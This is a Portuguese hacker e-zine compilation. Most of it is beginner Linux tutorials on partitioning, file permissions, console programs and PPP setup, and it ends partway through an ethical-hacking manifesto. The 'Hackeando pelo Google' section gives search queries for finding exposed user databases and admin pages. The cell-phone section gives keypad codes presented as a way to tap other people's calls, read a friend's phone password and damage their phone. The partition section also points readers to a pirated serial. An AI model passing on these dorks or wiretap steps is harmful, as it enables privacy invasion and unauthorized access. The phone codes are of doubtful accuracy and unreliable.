Baixe o programa "Partition Star", que é menos que 1MB de tamanho e tem uma facilidade tremenda. Baixe ele em: http://www.star-tools.com/english/download.html. Até o término dessa edição ele se encontrava na versão 2.01. Após instalado o programa, ele exibe todas as partições encontradas em sua tabela de partição. Agora o resto é simples. Abra a partição em que se encontra o seu windows e diminua o tamnho tanto em GB como em %. De OK para confirmar, salve as alterações e reinicie o computador. Após isto, volte ao programa e clique num espaço em branco debaixo da primeira partição sua, e veja que mostrará a quantidade total de espaço sobrando na qual poderá ser transformada em uma outra partição. Dos 10GB, coloque 9,872GB e na hora de selecionar o file system, coloque 83 - Linux Native. Depois crie outra com o resto do espaço que sobrou: 128MB - e o file system 82 - Linux Swap. Salve as alterações, reinicie e comece a instalar o linux bootando pelo CD. Ele reconhe as partições windows, linux native e swap!!! Agora vem a parte crítica. Nem tudo sai às 1000 maravilhas e vou citar alguns problemas que enfrentei: - Dá uma mensagem de erro quando se tenta diminuir o tamnho da partição. Isso é uma limitação que o partition star possui. Para conseguir fazer esse redimensionamento, você deve primeiramente desfragmentar o disco por completo. Por que? Para mover todos arquivos que se encontraram no final da unidade para o começo, deixando assim o espaço livre. - Quando abro o aplicativo aparece um erro de operação ilegal e nada acontece. Bem, isso geralmente acontece por dois fatores: 1 - Seu anti-vírus está em execução ou algo parecido. 2 - Alguns arquivos seus do windows podem não estar presentes ou corrompidos (novidade...). Mas nessa versão 2.01 não ocorreu esse erro comigo. Mas de qualquer forma, você pode utilizar em modo DOS (PSDOS). - Quando faço alguma alteração no C: ele não salva essas alterações. Isso geralmente acontece porque você está usando o C: nesse momento. Para isso de o boot pelo disquete e efetue novamente as alterações. Outro motivo seria o anti-vírus. - Como faço para criar esse boot pelo disquete? Ao abrir o programa clique em: File, Create Emergency Disk, e Finish. Agora é só dar o boot pelo floppy na inicialização do sistema. - Minhas partições não formatam e/ou dão erro na instalação do linux. Isso é decorrente de badblocks. A única solução é você formatar checkando o disco inteiro para ele achar os possívei clusters danificados, ou se você tiver uma idéia de onde estão, isolar a área numa outra partição. É só galera, só demonstrei o básico desse programa para windows pois é de fácil manuseio e bem pequeno. O melhor mesmo é o Partition Magic 8, que não se é necessário nem fazer a desfragmentação. Mas pra quem não quer ficar baixando 30MB, o partition star é uma ótima solução custo/benefício. O serial dele é fácil de achar na net. Desculpem por esse texto bem básico, mas como é só voltado para newbies que querem migrar de windows para linux de uma vez por todas, embora muito ainda ficarão com o windows wm sua winchester. Espero que agora não deem mais desculpas para não usar o linux(fora aquele do driver de modem). Abraços e juízo. []´s IP_FIX. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 08 ]=-=[ Permissões de Arquivos ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= *** Permissões de arquivos e diretórios *** Antes devemos saber que todas as informações sobre os arquivos vem do inode. O inode guarda os dados sobre o UID e GID do dono do arquivo, permissões dele, tipo e o timestamp do arquivo. (dados sobre a última modificação e etc..). Vendo o inode --> basta dar um "ls -l" exemplo: [root@Jakk root]# ls -l drwx------ 3 root root 4096 Out 4 02:55 Desktop drwxr-xr-x 2 root root 4096 Set 14 2001 backup drwxr-xr-x 9 root root 4096 Out 12 01:00 tmp [root@Jakk root]# São 3 níveis de permissões : Dono: só pode ser 1, dono do arquivo Grupo: membros de um determinado grupo Outros: o resto dos usuários do sistema As permissões so são apresentadas mesmo depois do primeiro bit na ordem "rwx".Este esquema funciona da seguinte forma, depois do primeiro bit, vem 3 bit's referentes as permissões do proprietário do arquivo; os 3 seguintes são do grupo e os 3 últimos são do resto do sistema . *** As permissões de fato *** Vou mostrar as permissões básicas. São elas "r", "w" e "x". *r --> Read arquivo : pode ser lido diretório : pode ser visto o seu conteúdo *w --> write arquivo : pode ser adicionado e alterar um arquivo diretório : pode-se apagar ,criar e/ou modificar qualquer arquivo e/ou diretório que esteja dentro desse diretório mesmo que este não tenha essa permissão *r --> eXecute arquivo : pode-se excutar o programa ou shell script diretório : pode "entrar" no diretório. Essa tem um porém , porque nada adianta você ter uma permissão "w" se nao tiver "x". Mas "r" sem "x" ainda pode-se ver o conteúdo com limitações *** Alguns comandos *** *chmod O chmod serve para que você possa mudar as permissões de um arquivo(claro que vc tem que ser o dono do arquivo ou root) observe isso --> x = 1, w = 2, r = 4 essa relação é utilizada pra vc modificar as permissões dos arquivos exemplo: chmod 767 programa Cada número corresponde a um nível.Observe cada número o primeiro número 7 eh formado pela soma dos numéros correspondentes as permissões . 1(x) + 2(w) + 4(r) = 7 Veja : ,--------------,----------, | permissão | cálculo | |--------------|----------| | --- | 0 | | --x | 1 | | -w- | 2 | | -wx | 2+1 | | r-- | 4 | | r-x | 4+1 | | rw- | 4+2 | | rwx | 4+2+1 | '--------------'----------' OBS.: Só é valida para as permissões "básicas" (rwx). *ls Exemplo: 4 drwx------ 4 fernando fernando 4096 Out 12 01:20 Desktop 4 drwx------ 8 fernando fernando 4096 Out 12 00:33 Mail 4 drwxrwxr-x 3 fernando fernando 4096 Set 28 13:23 OpenOffice.org1.0.2 4 drwxrwxr-x 9 fernando fernando 4096 Out 11 14:53 kvirc-3.0.0-beta2 4 drwxr-xr-x 2 fernando fernando 4096 Set 23 19:49 linux 4 drwxrwxr-x 8 fernando fernando 4096 Out 10 08:30 programas 4 drwx------ 4 fernando fernando 4096 Out 11 23:29 tmp 4 drwxr-xr-x 8 201 201 4096 Set 23 11:36 vmware-distrib 4 drwxr-xr-x 22 1000 users 4096 Set 22 19:21 wine-20030911 Este 'd' no primeiro bit significa diretório. veja as outras possibilidades ,--------------,------------------------------, | Caractere | Significado | |--------------|------------------------------| | - | arquivo regular | | b | dispositivo de blocos | | c | dispositivo de caracteres | | d | diretório | | l | symbolic link | | p | FIFO | | s | socket | '--------------'------------------------------' Bom eu fico por aqui espero que tenha sido interessante e compensador... (Jakk®SN)(Nikiti-Rj) - EOF - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 09 ]=-=[ Programas em Modo Texto ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PROGRAMAS PARA LINUX EM MODO TEXTO by Green Hornet Escrevo esse texto pensando naqueles que estão iniciando no Linux, -como o IP_FIX colocou que o objetivo inicial do MOTD eh começar com txts voltados pro pessoal newbie(quase lammer :-) -. Que conseguiram instalar o sistema,mas que ainda se sentem perdidos e estão procurando programas que executem tarefas semelhantes as que usavam no windows. O detalhe eh que darei enfase só em softs que rodam pelo shell(modo texto) ja que esse eh um dos grandes medos de quem ta começando. Alguem pode perguntar porque não falar de programas de interface grafica? Amigo,como geralmente as pessoas estão mais habituadas ao ambiente de janelas, creio ser mais intuitivo do que trabalhando pelo console. Alem do que muitas interfaces graficas dependem de um bom hardware para rodarem satisfatoriamente,como o kde por exemplo. Ja pelo prompt,voce pode rodar ate naqueles 486 velhos e com 8 de ram :-) Lembrando que os programas aqui citados estao com enfase na distribuicao Slackware. Caso sua distro não tenha algum desses programas,basta ir a algum desses sites na net(freshmeat.org, sourceforge.net, linuxpackages.org, rpmfind.net...) O primeiro item importante para voce trabalhar pelo prompt eh habilitar o recurso de GPM na instalação,que permite usar o mouse pelo shell. Outro fator eh habilitar o frame-buffer do terminal,isso pode ser feito editando o arquivo de configuracao do lilo (/etc/lilo.conf). Segue uma tabela pra voce usar o que for mais adequado : vga=791 : 1024x768, 16 bits de cor. vga=790 : 1024x768, 15 bits de cor vga=773 : 1024x768, 8 bits de cor vga=788 : 800x600, 16 bits de cor vga=787 : 800x600, 15 bits de cor vga=771 : 800x600, 8 bits de cor vga=785 : 640x480, 16 bits vga=784 : 640x480, 15 bits vga=769 : 640x480, 8 bits. depois de edita-lo,digite lilo (como root). Uma prova de que esta funcionando bem e quando aparecer o Tux(pinguim)no canto superior esquerdo assim que a maquina inicializar o Linux. INTERNET PARA CONECTAR NA NET SEM USAR DISCADORES**: Minha primeira dica é para se conectar à Internet usando chat + pppd, ou seja, sem a necessidade de discadores como WvDial e kPPP. Exemplo do provedor iG: Crie os arquivos /etc/ppp/iG, /etc/ppp/options, /etc/pap-secrets e /etc/ppp/peers/iG com o seguinte conteúdo: /etc/ppp/iG TIMEOUT 3 ABORT BUSY ABORT ERROR ABORT "NO ANSWER" ABORT "NO DIALTONE" REPORT CONNECT "" "AT&F1" OK "ATDT15002000" TIMEOUT 120 CONNECT Se necessário, modifique AT&F1 (string de inicialização) e 15002000 (número de telefone). /etc/ppp/options ttyS1 115200 chap-max-challenge 100 crtscts defaultroute holdoff 5 lcp-echo-failure 10 lcp-echo-interval 60 lock persist usepeerdns Obs: * ttyS1 = COM2 /etc/pap-secrets "ig" * "ig" O primeiro 'ig' contém o login, o segundo a password. /etc/ppp/peers/iG connect '/usr/sbin/chat -f /etc/ppp/iG' name ig * 'ig' = login Digite: ln -sf /etc/resolv.conf /etc/ppp/resolv.conf Digite: alias iG='/usr/sbin/pppd call iG' Digite iG para conectar. Digite kill -INT `cat /var/run/ppp0.pid` para desconectar. Não é necessário ser root. Default: Discar no máximo 100 vezes, uma a cada 5s. Desconectar após 10 vezes sem reposta do link, uma a cada 60s. Obviamente para esse script funcionar eh necessario que o Sistema ja tenha reconhecido o seu modem, para esse assunto recomendo a leitura de um txt do Nash que fala sobre modems. BROWSERS Para ver paginas da net(Browsers) recomendo o links e o lynx,essa eh a dupla mais conhecida. O lynx suporta melhor scripts,tabelas,javascripts e outros. Mas você pode usar o links com recurso de imagens,isso mesmo você pode ver URLs com as fotos e outros!!,para isso precisara instalar a lib: aalib.tar.gz (http://aa-project.sourceforge.net/aalib/) descompactar (tar -zxvf , entrar na pasta onde foi colocado as libs : cd , digitar: ./configure, depois : make, e por ultimo : make install(como root). E depois instalar uma versão mais nova do links,pegue uma versao em codigo fonte e quando for compilar,use ./configure --enable-gui. Dai quando for abrir o links basta usar links -g http://cdm.frontthescene.com.br ,que você vera o site com as suas imagens. Para abrir menu,tecle ESC. Dai voce tera varias opcões. Para ir para outra URL digite "g", e digite o site desejado. Para sair do links tecle "q". Para inserir no bookmarks tecle "s". Para voltar "z". Para abrir o history ">". IRC Para IRC um dos mais usados eh o BitchX, Seus comandos basicos sao: Para entrar num canal : BitchX nick irc.servidor.com entrar no canal : /j #canal sair do canal : /part #canal abre um pvt com : /q manda msg para nick ou canal : /m exibe info sobre : /whois exibe end. de dns : /dns exibe versao do BitchX : /sv manda/recebe arquivos : /dcc #nick abre um dcc chat com : /chat da op a usuario : /op tira op de um usuario : /deop muda topico : /t kicka um usuario : /k kicka e bane : /kb desbane : /unban exibe nicks do canal : /scan desconectar : /quit ICQ Uma opcao eh o centericq(http://konst.org.ua/eng/software/centericq/info.html) ele eh um cliente de ICQ,AIM,MSN,Yahoo.Não tem suporte a mouse, mas de facil utilizacao.Existe tambem o micq. E outras opcoes,basta ir naqueles sites que recomendei no inicio. EMAILS Existem varios clientes de emails,como o elm,pine,mutt. Explicarei o basico sobre o Pine(apesar de que acho melhor no inicio a pessoa usar outros clientes como o mozilla mail ou evolution). Digite "pine" Abrira um menu dai va no Setup. tecle "C"(Config) Dai você vai configurar o servidor necessario como o de SMTP e as outras infos pessoais como username e etc... Para sair do config tecle "E". Para escrever mensagem,va no opção de menu "Compose Message". Para ler mensagens abra a opção "MESSAGE INDEX". A opção "A" para adicionar enderecos de email no seu bookmarks. Para sair basta ir na ultima opção do menu principal "QUIT". Recomendo antes da configuração a leitura do Help -a primeira opção do menu principal-. Vale dizer que muitos desses clientes de email precisam que você esteja com seu DNS configurado. IMAGENS Para ver imagens pelo console um bom programa eh o seejpeg, para ver uma foto basta usar: seejpeg . para sair tecle "q". MP3 E AUDIO Para tocar mp3 o meu preferido eh o mpg123,para executar basta colocar mpg123 Para editar o som uma opcão eh o rexima (aparecera um equalizador e la podera configurar a vontade com as setas)depois para sair basta digitar "q". Outro com as mesmas funções do rexima e o aumix. Se quiser ouvir cds de audio um programa muito bom eh o workbone, basta digitar "workbone" no shell e colocar o cd,que ele reconhecera automaticamente. Os principais comandos para ele sao: Para tocar digite: "9" Para pause/resumo: "8" Para parar: "7" Para pular faixa: "6" Para repetir faixa: "5" Para ir faixa anterior: "4" Para ir a frente 15': "3"' Para abortar(hard abort): "2" Para voltar: 15' "1" Para sair: "0" Para ajuda : "." GERENCIADOR DE ARQUIVO Como gerenciador de arquivo um classico eh o mc (Midnight Commander), ele eh leve,robusto e tem muitos recursos. Para abri-lo basta digitar "mc". Para andar pelos arquivos use as setas. Embaixo tem um menu indicando as opcões que voce pode usar (help,menu,view,edit...) Lembrando que essas opcoes se referem as teclas do F1,F2,F3... Para visualizar um texto por exemplo,basta parar com o cursor emcima dele e teclar "F3". Para abrir o menu de cima,tecle "F9". Para sair tecle "F10". Usando ele regularmente vera que ele eh bem pratico e rapido comparado a outros gerenciadores. GRAVACAO DE CD'S Para gravar cds existem algumas opcoes as principais sao o cdrecord e o bladeenc. Primeiro para usar o seu gravador no Slackware voce deve recompilar seu kernel. As opcoes sao para SCSI,ATAPI,IDE e de porta paralela.Depois recompile o kernel. Depois disso para as gravadoras IDE/ATAPI,adicione essas linhas ao arquivo /etc/modules.conf: #alias scd0 sr_mod #alias scsi_hostadaptor ide-scsi #options ide-cd ignore=hdd Depois reinicialize o Linux e digite: #modprobe scd0 #modprobe scsi_hostadaptor Reinicialize novamente e digite: #cdrecord -scanbus Dai surgira seu gravador de cd e o numero de dispositivo dele. Esse comando vai te dar o numero de dispositivo dele.Que você precisara quando for gravar.Adicionara o numero na opção "dev" Para gravar Existe duas formas de gravar criando uma ISO ou criando a imagem e inserindo diretamente no cd. Para criar IMAGEM no cd,digite : #mkisofs -r -o diretorio de arquivos #Montagem de ISO #mount -t iso9660 -o ro loop=/dev/loop0 nome_da_imagem/diretorio_de_montagem Queimando o cd: #cdrecord -v speed=4 dev=0,0,0 -data nome_da_imagem Em discos regravaveis adicione a opção blank fast: #cdrecord -v speed=4 dev=0,0,0 blank=fast -data nome_da_imagem Para gravação direta: #IMG_SIZE='mkisofs -R -q -print-size diretorio_dos_arquivos/ 2 >&1 | sed -e "s/.*=//"' #echo $IMG_SIZE #["O$IMG_SIZE" -ne 0 ] && #mkisofs -r diretorio_dos_arquivos/ | #cdrecord speed=2 dev=0,6,0 tsize=${IMG_SIZE}s -data- PARA LER TEXTOS Para isso voce pode simplesmente usar os programas less,more ou cat. EDITORES DE TEXTOS Para editor de textos: Ai entramos numa area em que o Unix eh imbativel!Porque alem de termos muitas opcoes, voce pode usar excelentes ferramentas.Hoje vo escrever sobre o VI(pronuncia VI-AI). Mas existem outros como o Tradicional Emacs,o Joe,Pico,Jed... O vi eh muito mais que um editor de textos. Para abrir um texto nele,use vi , Para inserir texto tecle "i". Para caminhar pelo texto use as setas quando terminar o texto tecle ESC Para sair do texto use :q(com ":"). Para salvar :w Para sair e salvar :wq (outro atalho para isso tecle ZZ) Para alterar nome :w Isso eh o basico do basico,depois espero me aprofundar no uso desses editores. Bom, por enquanto eh isso!! Esse texto tambem teve a intenção de mostrar que (ao contrario do que muitos pensam)voce pode fazer quase tudo pelo prompt, alem do que mostrei existem outros recursos, como assistir filmes (pelo mplayer),jogar (existe varias opções ate mesmo o Quake2!!) e caso precise de uma interface grafica leve, recomendo o BlackBox, Fluxbox e a brasileira WindowMaker. Espero que esse texto seja util para alguem. Se depender de mim sera o primeiro de muitos para esse grupo. Quero agradecer ao pessoal que tem me apoiado do CDM e do MOTD, em especial ao Nash Leon,o IP_FIX e ao inferninh0. GreenHornet (moyfalela@ig.com.br) Brasnet #motd #mercenaries **Obs:não fui eu que criei esse script(o de conectar pelo iG),mas sinceramente não lembro de onde o peguei,se o autor quiser,pode entrar em contato que atualizarei dando os devidos creditos. "YESHUA HAMASHIAH!!!" =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 10 ]=-=[ Hackeando pelo Google ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Google como ferramenta hacker ! Bom, que o google.com ja foi parte fundamental em varios hackings famosos quase todo mundo ja sabe... o problema eh que nunca encontrei um artigo que explicasse como eh possivel transformar o google.com em uma poderosa ferramenta hacking. Por este motivo decidi escrever um artigo basico sobre isto. "allinurl:usuarios.mdb site:.com.br" busca por arquivos de banco de dados nomeados "usuarios.mdb" dentro do dominio mae ".com.br" "allintitle:admin panel site:.org" busca por supostas paginas de administracao dentro do dominio ".org" "allinurl:login.asp" lista todas as paginas com nome de "login.asp", e em alguns casos o google exibira uma versao "cache" da pagina onde sera possivel ver o codigo asp. Bom façam bom proveito e espero que tenham gostado do artigo . Abraços BlackSheep182 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 11 ]=-=[ Códigos para Celulares ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Código 1: Grampeando ligações.(funciona só em aparelhos ericsson, CDMA , do t18d para tras...) Esse código é muito legal galera... eu mijo de rir com as coisa que jah escutei... ele é facim facim de fazer... soh que se você pular alguma coisa, bye bye celular... Ok, chega de bla bla bla... 1 - Ligue o celular(dããã) 2 - Digite 904059 e setinha p/ baixo.(akela qur vai pro menu) 3 - Digite YES , 1, seta cima 4 - Digite YES , 2 , seta cima 5 - Digite YES 86 6 - Digite YES, 3, CLR , 000995 Agora você ta escutano um chiado... logo logo grampeia uma ligação, fica frio... DETALHE IMPORTANTE - Você só vai conseguir sair disso digitando o codigo: YES 3 seta cima. Codigo 2: Mudando a porra do nome da operadora que aparece na telinha do cel... (só funciona nos mesmos cels do codigo 1...) 1-Digite 987 + seta p/ baixo... 2-Se aparecer um treco escrito: program nam 1-2 , vc digita 1.Ae vc começa a descer com a tecla da seta p/ baixo... até aparecer o nome da operadora...(se nao me engano, aparece na quarta vez q vc aperta a seta p/ baixo...) Ae eh soh vc editar, colocar o nome q quiser, e dar YES. Codigo 3: Vendo a senha do seu amiguinho, e se fuçar um pouco +, acaba com o celular dele ... puts... eheehhe (Funciona só nos celz tipo nokia 3320) 1-Digite *3001#12345# Pronto, entro nele... ae vai em security e ve a senha... pra sair tem q desliga o cel... lembrando, se vc fuçar um pokim, vc acaba com o celular do seu amiguinho... Bom, é só isso... Flw Caiobat =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 12 ]=-=[ Introdução ao Hacking Ético ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ############################################################################# ############################## UNSEKURITY TEAM ############################## ############################################################################# IP_FIX: Atual Clube dos Mercenários, http://cdm.frontthescene.com.br Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Thanks Unsekurity Team. Este e outros tutoriais podem ser obtidos em: http://unsekurity.virtualave.net/ OBS: Nao nos responsabilizamos pelas informacoes aqui contidas, bem como do mau uso dos exemplos e dados aqui fornecidos.Todo material disponivel neste arquivo possui somente propositos educacionais. OBS2: Isso aqui nao eh um zine, nem pretende se tornar.Trata-se apenas de um tutorial basico voltado para o pessoal NewBie, se voce eh 'elite', por favor, nao leia! Voce nao encontrarah informacoes uteis aqui. --------------- 1 - INTRODUCAO | --------------- Demorou, mais aih estah a uniao de varios topicos de programacao relacionados ao mundo fucador.Topicos basicos, mas que requerem conhecimentos em C e Linux. Resolvi incorporar a este tutorial uma parte com manifestos sobre varios temas, nao pretendo despertar odio com isso e sim, abrir a discussao em torno de alguns pontos 'nao-tecnicos' que envolvem o mundo do fucador.Cada item do tutorial tem como alvo os mesmo leitores dos tutoriais anteriores, ou seja, Fucadores NewBies. Fica avisado novamente que se voce eh 'elite' nao acharah nada util neste tutorial. ---------------- 2. - MANIFESTOS | ---------------- OBSERVACAO: OS PENSAMENTOS EXPRESSOS NESTE ITEM SAO DE MINHA AUTORIA, SAO DE MINHA PESSOA.O UNSEKURITY TEAM DAH AOS SEUS MEMBROS A LIBERDADE PARA SE EXPRESSAR DA MANEIRA QUE BEM ENTENDER.NO ENTANTO, CADA MEMBRO POSSUI SEU PROPRIO MODO DE VER AS COISAS. AS COISAS QUE ESCREVO AQUI NAO SAO COMPARTILHADAS POR TODOS DO UNSEKURITY TEAM, E A RESPONSABILIDADE PELAS LINHAS QUE SE ENCONTRAM NESTE ITEM CABE A MINHA PESSOA, NASH LEON, ESTANDO DESDE JAH CLARO QUE EH UMA ATITUDE ISOLADA! AVISO AO LEITOR QUE ELE NAO DEVE JULGAR O UNSEKURITY TEAM ATRAVES DAS PALAVRAS E PENSAMENTOS DE UM SOH MEMBRO. "Conhecereis a verdade e ela vos libertarah" "De que adianta ter um excelente conhecimento tecnico sobre o hacking, mas seguir por caminhos detestaveis pela comunidade hacker???".O que quero nesta parte eh compartilhar um pouco da minha opiniao sobre alguns assuntos nao -tecnicos, mas que envolvem o mundo do fucador.Nao adianta nada eu escrever 2 mil linhas de textos tecnicos para um cara se tornar cracker ou ser moldado como um fantoche de grandes empresas porque nao foi bem informado! Se nao tivermos o minimo de senso critico, certamente seremos facilmente enganados por esta corja que aih se encontra.Vou dizer o que penso sobre determinados temas, mas o intuito aqui eh fazer voce pensar sobre eles usando seu proprio senso critico e buscando a verdade atras do fatos.Se pergunte sobre os porques, levante duvidas, raciocine! Meus txts ganharam a abrangencia que eu desejava, mas de nada adiantarah expandir os conhecimentos tecnicos se nao puder dar a conhecer alguns pensamentos 'eticos'.Se esta parte te interessa recomendo a voce le-la com bastante calma, sendo critico e procurando ver o que estah por tras de cada afirmacao! Se voce pensa igual ou diferente, nao importa! Eu quero apenas que voce pense! Seja Critico!! 2.1. - A confusao dos Termos ----------------------------- O que eh ser hacker afinal?? O que eh ser um fucador??? A midia, como em tudo, demonstra ignorancia quanto a verdade, alienando mais e mais pessoas.A parte podre da comunidade de seguranca nao pensa em outra coisa a nao ser 'sujar' a definicao ao maximo.E voce, sabe o que eh ser um hacker??? A origem do termo hacker remonta aos primordios da revolucao tecnologica. Na verdade, se for levar ao peh da letra, os hackers derivam dos phreaks, que se originaram nos primordios da invencao do Telefone.Mas no entanto, o termo soh veio se popularizar depois que os phreaks comecaram a se difundir em larga escala, isso se deu no inicio da decada de 70, mais ou menos.A inspiracao maior no mundo 'phreak' deu inicio com john draper vulgo Capitao Crunch, ele descobriu um metodo de fazer ligacoes gratuitas usando um apito que vinha numa caixa de cereais.A popularizacao desta tecnica levou dois jovens inescrupulosos a automatizarem o processo, criando as famosas RED BOX, esses dois individuos se chamam Steve Jobs e Steve Wosniak(Ambos fundadores da APPLE).Desde entao houve um crescimento consideravel das tecnicas e meios de manipular o sistema Telefonico americano.Enquanto os phreaks cresciam em numero e conhecimentos, no MIT(Instituto Tecnologico de Massachussets), estudantes arrombaravam salas de informatica a noite para poderem aprender mais sobre os carissimos Sistemas de Computadores.A palavra hacker em ingles significa 'machado de duas pontas', muito provavelmente eles usavam isso para quebrarem os cadeados, ou o proprio comportamento deles se assemelhava a isso.Eles queriam obter conhecimentos a qualquer custo.O conceito 'hacker' expandiu, ou seja, varias pessoas queriam dominar um conhecimento cada vez maior sobre algo, nao importando os meios que usassem.'A busca pelo conhecimento eh uma atividade basica do ser humano', logo nao deve ser repelida.Durante a decada de 80 muita coisa aconteceu no cenario hacker- phreak, levando desde perseguicao, criacao de leis rigorosas ateh uma maior compreensao de algumas entidades e a criacao de varias 'entidades' de defesa dos ideais e interesse dos hackers... O que chamo aqui de entidade, nao eh nada relacionado ao que conhecemos por entidade, eh mais alem, algumas delas eh fundamental um fucador conhecer, como a Eletronic Frountier Foundation(EFF), a 2600(o quartel general hacker), e etc. Se voce for buscar a verdade bem no fundo verah que quase tudo relacionado a informatica hoje em dia teve uma colaboracao maior de hackers.Internet, PC, Softwares Gratuitos, enfim os hackers se expandiram em todos os segmentos da informatica aprimorando-os sempre.A relacao do hacker e do phreak eh mais alem, no inicio os phreaks lutavam contra as grandes companhias telefonicas, as grandes corporacoes e os governos, nao possuiam nacionalidade e nao defendiam uma etnia, eram livres e os unicos 'inimigos' era justamente esses jah citados.Invadiam sistemas telefonicos, ensinavam truques para se fazer ligacao gratuita, etc.. Os hackers tambem trilharam o mesmo caminho unido forcas e lutando pelos mesmos ideiais, desafiando os mesmos inimigos e divulgando o que consideravam a sua maior bandeira: "A LIBERDADE DE INFORMACAO", isto culminou em 1984 com a criacao do projeto GNU, criado por um hacker.Desde jah fica evidente que um hacker nao trabalha para grandes corporacoes ou empresas sem escrupulos(Microsoft, Conectiva, Sun, Apple, Intel e etc).. Sim, os hackers lutavam contra empresas deste tipo e continuam lutando!! Mas eles(os inimigos) tem os meios de comunicacao, possuem os governos em suas maos, entao logo veio a retaliacao,e uma verdadeira caca as bruxas ocorreu no Estados Unidos em 1990/1991,batizada de Operacao SunDevil, muita gente inocente foi presa e vidas foram acabadas. No brasil, somente na decada de 90 veio a ocorrer uma maior divulgacao do termo hacker e da etica hacker, o zine 'Barata eletrica' de Denerval Cunha foi e tem sido quem mais expandiu o que representa a etica hacker e a 'cultura' pregada pelo hacking.Este zine eh leitura obrigatoria para qualquer fucador etico! Os termos hoje em dia estao confusos, muita gente prefere nao ser considerado como hacker pois pode ser banalizado ou mesmo prejudicado, a ofensiva dos 'inimigos' foi grande, e os verdadeiros hackers tem sofrido na pele a consequencia desta 'guerra'! Ainda ha muito para ser feito, muita gente possui total ignorancia quanto aos termos, mas o que devemos sempre deixar claro eh que hacker nao eh cracker, e que a Comunidade de Seguranca nao eh, nunca foi, e nunca vai ser aliada dos hackers, eles fazem parte do sistema!!! Sabemos que existe gente seria na Seguranca, eh o que chamamos de 'parte boa' da Seguranca, no entando a maioria nao o eh, eh o que chamamos de 'BANDA PODRE!'. Um hacker nao muda home page ou destroi um sistema, quem faz isso sao kiddies ou lamers, sejamos bem evidentes nisso!!! Mesmo que chamem para questoes ideologicas, nao faz parte do hacking qualquer ideologia NACIONALISTA!! A Comunidade hacker eh uma soh, assim como as grandes corporacoes o sao, ou voce acha que a Microsoft Brasil e melhor, mais legal, mais escrupulosa do que a Microsoft USA?? Quanto aos crackers, eles tem levado vantagem em tudo, com o termo hacker derrubado, com hackers de verdade sendo perseguidos, esses crackers tem vencido a batalha..A comunidade de seguranca nunca foi competente o bastante, os hackers ajudam, mas 'a banda podre' nao ve com bons olhos, termina os crackers se dando bem e os hackers e os usuarios normais saindo prejudicados. Agora eu te pergunto, a comunidade de seguranca ganha ou perde com os crackers??? Ao meu ver eles ganham, por isso, ao meu ver, Crackers e Banda Podre da Comunidade de Seguranca sao um soh!!! Abra os olhos, a verdade tah procurando voce!!! 2.2. - A Comunidade de Seguranca e Voce ------------------------------------------ Temos que saber diferenciar o que estah por tras.No item anterior eu falei sobre dois lados da Comunidade de Seguranca, a banda podre e a "parte boa" (parte boa entre aspas). Se voce eh um fucador experiente certamente sabe mais coisas sobre isto do que eu, mas falarei um pouco do que eu acho, para que os mais novos possam levantar criticas. Podemos dividir a comunidade de Seguranca em 4 grupos, vejamos abaixo: * OS DESINFORMADOS ------------------- Estes sao aqueles que nao conhecem o que eh hacker, nem o que eh cracker. Nao conhecem a historia da informatica, nao sabem a origem da Seguranca de Sistemas Informatizados, e sao 'moldados' pela banda podre da comunidade de seguranca e pela midia.Na grande maioria sao estudantes universitarios ou recem formados que partiram para a Seguranca porque eh o que mais dah dinheiro hoje em dia, se desse mais dinheiro mexer com outra coisa, eles estariam lah com certeza.Nao possuem a paixao pelo que fazem e odeiam os hackers puramente porque foram 'ensinados' a odiarem. Esta eh a parte mais inofensiva que existe, e a unica que ainda pode ser 'ganha' para a causa, ou seja, ainda podemos mudar a opniao deles quanto ao termo hacker.Necessitam de ajuda, pois nao possuem a malicia, e nao conhecem a capacidade de um cracker. * OS MEDROSOS -------------- Essa eh uma 'classe' esquisita da Comunidade de Seguranca.Sao pessoas que sabem diferenciar os termos crackers e hackers, simpatizam com as ideologias dos hackers, conseguem ver a beleza da etica, no entanto temem! Temem perderem seus empregos para hackers com maiores conhecimentos! Temem perderem seus empregos se defenderem os hackers em alguma situacao!!Temem!! Na maioria sao pessoas com bons conhecimentos tecnicos, mas trabalhando em empresas erradas! Costumam ficarem quietos, nao opinando em quase nada fora do 'assunto tecnico'.Alguns possuem uma vontade de libertar o espirito hacker de dentro dele, mas algo nao permite, temem morrerem de fome por defenderem a causa hacker, temem muitas outras coisas, por isso sao considerados como os medrosos!! * A BANDA PODRE ---------------- A banda podre eh bem ramificada.Na grande maioria sao altos funcionarios de grandes empresas(Microsoft, NAI,Norton, etc), que detonam o termo hacker porque os hackers sao os unicos que os denunciam.Sao esses que se alegram quando um 